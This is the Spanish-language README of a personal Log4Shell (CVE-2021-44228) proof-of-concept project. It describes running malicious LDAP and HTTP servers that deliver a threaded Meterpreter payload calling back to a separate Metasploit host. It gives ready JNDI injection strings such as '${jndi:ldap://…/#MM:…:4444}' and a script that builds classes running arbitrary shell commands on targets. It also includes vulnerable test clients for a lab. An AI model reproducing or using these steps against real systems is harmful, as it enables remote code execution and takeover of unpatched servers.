
Log4Shell (Cve-2021-44228) Prueba de Concepto
Log4Shell (Cve-2021-44228) Prueba de Concepto
Este es un proyecto personal que ejecuta una POC simple que alojará un servidor LDAP y un servidor HTTP para el exploit Log4Shell.
El script run_servers.py configurará un cliente meterpreter reducido que se comunicará con la instancia de Metasploit pasada en la solicitud ldap. Esto ejecutará la instancia de meterpreter en un hilo dentro del proceso original que fue afectado por el exploit Log4Shell.
El servidor LDAP está escrito en Java y el servidor HTTP está alojado en Python y servirá desde un directorio wwwroot recién creado. Esto requiere java, javac y mvn para construir los exploits y alojar el servidor LDAP. Usé Java 8.
También se requiere Python3.
ejecute: python3 run_servers.py <su_dirección_ip> <el_puerto_http> [puerto_ldap]
Luego pase la cadena jndi a un cliente vulnerable para que la registre, por ej: si su host fuera 10.20.30.40 y su instancia de metasploit fuera 20.30.40.50 escuchando en el puerto 4444 se vería así: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
Puede construir clases que lanzarán ejecutables en el sistema de origen. Puede tener diferentes comandos para sistemas Windows o Linux. Por ejemplo, para crear una clase llamada TestCmd que lance una calculadora en sistemas Windows y Firefox en sistemas Linux ejecute: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
Puede tener múltiples clases preconstruidas. Si no especifica un comando para el SO destino, entonces no se ejecuta nada. Tenga en cuenta que estos comandos se ejecutan como CMD \c "su comando" en Windows y /bin/sh -c "su comando" en Linux.
Para activar el comando anterior use el nombre de la clase que creó, es decir: '${jndi:ldap://10.20.30.40:1389/#TestCmd'
El archivo Payload.java es el archivo completo de Meterpreter configurado para ejecutarse como un hilo en el proceso llamante que tenía el problema de log4shell. Esto necesita ser compilado manualmente y movido al directorio wwwroot. Además necesita tener el archivo metasploit.dat configurado con las propiedades que necesite.
El directorio clients tiene 2 clientes que pueden ejecutarse. Uno es un programa simple de línea de comandos que escribirá un registro de error para lo que sea el primer parámetro pasado.
El otro es un servidor web básico que escribirá un registro de error usando la información del encabezado log_me. Tenga en cuenta que esto debe ejecutarse en un entorno controlado y aislado.
navegue al directorio clients y ejecute ./build_clients.sh
desde el directorio clients ejecute: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Número_de_puerto]
desde el directorio clients ejecute: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'